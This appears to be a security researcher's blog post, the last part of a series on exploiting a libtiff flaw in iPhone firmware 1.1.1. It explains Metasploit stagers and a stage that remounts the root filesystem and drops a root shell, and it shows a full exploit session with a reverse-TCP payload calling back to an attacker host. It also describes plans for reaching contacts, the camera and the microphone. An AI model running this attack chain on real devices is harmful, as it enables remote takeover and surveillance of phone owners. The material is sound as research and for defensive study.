In part one of "Cracking the iPhone", I described the libtiff vulnerability. In part two, I walked through the process of exploiting it. In part two point one, I covered a new exploit approach that resulted in reliable code execution. The one piece still missing is what to do once code execution is obtained. An unmodified iPhone does not include an interactive shell, nor any of the standard Unix tools. In order to make this exploit useful, the user needs a payload that can install arbitrary executables onto the iPhone's file system.
This payload needs to solve two problems. First, it must remount the root filesystem in read-write mode. An unmodified iPhone running firmware 1.1.1 sets the root file system as read-only and the data file system as noexec. This prevents binaries from being launched from the data partition and restricts write access to the system area of the phone. Second, once the root file system is writable, it must write an arbitrary binary to the disk and execute it.
There are a few different approaches we could take to solve this. One method would be to build a single payload that remounts the disk, downloads the executable to a file, and then executes it. While this method would work, the resulting payload would be large and difficult to use in exploits that limit the amount of bytes available. Another method, and the one I chose, involves splitting the payload into two pieces. The first piece, known as the stager, connects back to the attacker, receives the length value of the second piece (the stage), and downloads the stage into memory. Once the entire stage has been received, the stager transfers control to the stage, and the stage handles the rest.
To this end, two new stagers have been added to the development version of the Metasploit Framework. The bind stager listens on a socket, while the reverse stager creates a socket and connects back to the attacker. Once the connection is established, the length value of the stage is sent by the attacker, followed by the entire contents of the stage. A shell stage was added that provides the exact same functionality as the existing payloads, but through the use of the new stagers.
One challenge faced by these stagers was where to store the downloaded stage. The stack, as discussed in the previous posts, is not executable, and the heap addresses can move around. If we want to be absolutely certain that the memory we choose is large enough and marked as executable, there is no better way than to create it ourselves. The first thing that these two stagers do is use the mmap() system call to allocate a new area of memory that has read, write, and execute permissions. Since the iPhone does has a relatively small amount of memory, these stagers only allocate an eight megabyte segment. This should be still more than enough room for a stage, even if the stage itself contains a statically compiled executable. Future versions of these stages may determine the segment size based on the value received over the network.
Now that the stagers are in place, we have ample room for a stage that will remount the root file system, write out a binary, and execute this binary. Since space is no longer a consideration, and the stager does the hard work of downloading the stage, we can embed the target binary directly into the stage. This removes the need for another block of downloader code and simplifies the exploit process. The resulting stage, named execute, performs the following steps:
1. Calls the vfork() system call and terminates the parent process, allowing the child to continue on. This is a workaround for a problem with the XNU kernel and multi-threaded apps. Without a call to vfork() or fork(), the final execve() call would fail.
2. Remounts the root file system as read-write. This is equivalent to calling the mount() function with a type of "hfs", a directory of "/", a flags parameter set to zero, and the address of a single NULL DWORD for the file system options parameter.
3. Obtains a pointer to the temporary file name stored inside the stage. This file name is randomized by the Metasploit Framework prior to being sent and currently stores the target binary in the /bin directory.
4. Deletes any existing file with the same name as our temporary file. While this is not strictly necessary, it does simplify things, and if we decide to un-randomize the file name in the future, can avoid some error conditions.
5. Opens the temporary file and stores the file handle. The file is opened with flags indicating that it should be created if it doesn't already exist, and if it does already exist, the previous contents should be truncated.
6. Obtains a pointer to the executable embedded inside the stage. While we could have just referenced an offset from the pc register, using a branch-link and reading the value from the link register means we don't have to recalculate the offset each time we add more instructions.
7. Write the entire contents of the binary in a single write() system call. Since the data is already in memory, this is a quick and dirty way to sync the entire contents of the executable to disk in one shot.
8. Close the file. At this point, the executable payload is now safely written to the temporary file in the /bin directory.
9. Duplicate the standard input and output handles to the socket file descriptor. This will convince the executable to use the connected socket (the same one used to download the stage) as input, output, and error handles.
10. Set the real and effective user ID values to zero (super-user). This is a do-nothing in current versions of the iPhone, since all processes run as root, but may become important later on. In future versions, this code will be moved higher up the in the series of steps to make sure that access to the /bin directory is allowed in the first place.
11. Launch the executable that was written to disk. At this point, the user has an interactive console, using a standard Metasploit Session, in which to communicate with the executable.
Using the Metasploit Framework, an attacker can install a binary of their choice onto a vulnerable iPhone. The next time the phone is rebooted, the file system will be read-only again, with the attacker's binary still installed. From here out, the impact of any root-level vulnerability on the iPhone platform is limited only by the development skills of the attacker (or the attacker's friends).
To demonstrate some of the options available and to assist with the 1.1.1 jailbreaking process, I created a modified version of vlad902's Impurity Shell Demo for the iPhone. This code was used in version 2.7 of the Metasploit Framework to provide an in-memory shell on Linux using the Impurity stager. Although the Impurity stager was not ported to Metasploit 3, the Shell Demo code was a perfect fit for the iPhone. This is a custom, standalone shell that provides a variety of useful Unix commands, as well as functions for in-process resource management. For example, using this shell, it is possible to enumerate all open file handles, read from those handles, and write to those handles.
The iPhone version of this shell, named ipwn, includes a few new features. The first is an internal implementation of "ps" command. The second is the "download" command, which can be used to download a file from a web server directly to disk. This makes jailbreaking and further binary installation simple. The third and fourth features, the cd (change directory), and cp (copy file), commands were added to make file management easier. Additionally, the ipwn binary will delete itself by default, unless the -k parameter is passed. This removes the need for manual cleanup when used with the Metasploit Framework. The source code to ipwn and an iPhone compatible binary are available in the Metasploit Framework development tree.
The following Metasploit Framework session shows the steps necessary to use the ipwn executable as a payload for the libtiff vulnerability, exploited through the MobileSafari module. The execute stage will set the PEXEC parameter to point to the included ipwn executable by default.
msf > use exploit/osx/browser/safari_libtiff
msf exploit(safari_libtiff) > set URIPATH /ipwn
URIPATH => /ipwn
msf exploit(safari_libtiff) > set PAYLOAD osx/armle/execute/reverse_tcp
PAYLOAD => osx/armle/execute/reverse_tcp
msf exploit(safari_libtiff) > set LHOST 192.168.0.134
LHOST => 192.168.0.134
msf exploit(safari_libtiff) > set LPORT 4444
LPORT => 4444
msf exploit(safari_libtiff) > exploit
[*] Started reverse handler
[*] Using URL: http://0.0.0.0:8080/ipwn
[*] Local IP: http://192.168.0.134:8080/ipwn
[*] Server started.
[*] Exploit running as background job.
msf exploit(safari_libtiff) >
At this point, the URL above is accessed via MobileSafari
[*] Sending exploit to 192.168.0.130:49467...
[*] Reading executable file /projects/metasploit/framework3/trunk/data/ipwn/ipwn...
[*] Read 31712 bytes...
[*] Transmitting stage length value...(32004 bytes)
[*] Sending stage (32004 bytes)
[*] Command shell session 1 opened (192.168.0.134:4444 -> 192.168.0.130:49468)
msf exploit(safari_libtiff) > sessions -i 1
[*] Starting interaction with 1...
Self-destruction mode is enabled by default, use -k to keep.
< iPwn Shell v0.01 >
ipwn (uid=0) (/) >
ipwn (uid=0) (/) > uname
Darwin ipwn 9.0.0d1 Darwin Kernel Version 9.0.0d1: Wed Sep 19 00:08:43 PDT 2007; root:xnu-9220.127.116.11.obj~21/RELEASE_ARM_S5L8900XRB iPhone1,1
ipwn (uid=0) (/) > getid
ipwn (uid=0) (/) > ps
The ipwn shell can be used with any compatible exploit to provide remote, interactive access to any iPhone, whether it has been modified or not. There is still quite a bit of work to do, especially in the area of iPhone-specific features. Future versions of ipwn will provide commands for accessing the address book, the call database, and eventually, the camera, microphone, and telephone components. One enterprising soul (rezn) was able to use ipwn to jailbreak a virgin 1.1.1 phone, by downloading the tar command, a tar file, and extracting a modified file system over the root directory.
At the last minute, KF and I noticed that the Metasploit modules can fail when used over the EDGE network. The problem seems to be related to the new stager, but doesn't occur all the time. I have a crash dump that gives me a clue to where the problem is and an update should be out soon to correct it.
Niacin and Dre have released the fully-commented version of their libtiff exploit. I can't say that I have ever seen an exploit written that way, but its definitely effective :-)
A third-party patch for the libtiff vulnerability has been released. The ipwn shell can be used to download and install this patch on unmodified iphones. The patch itself can be found here and has been tested on the iPod Touch and version 1.1.1 of the iPhone. The command sequence for installing the third-party patch would look something like:
ipwn> download http://www.cse.msu.edu/~dunham/touch/patch-graphics /bin/patch-graphics
ipwn> system /bin/patch-graphics
ipwn> unlink /bin/patch-graphics
This concludes the "Cracking the iPhone" series. Any significant updates will still get posted to the blog, but the best way to follow development is by tracking the Metasploit Framework development tree. The latest code will always be available in the trunk tree of Metasploit and patches (especially those that add features to ipwn) are welcome and encouraged. If you have any questions about iPhone-specific hackery, feel free to email me at hdm[at]metasploit.com. If you have a Metasploit-specific question, you may want to join the mailing list or email the development team at msfdev[at]metasploit.com. Thanks for reading!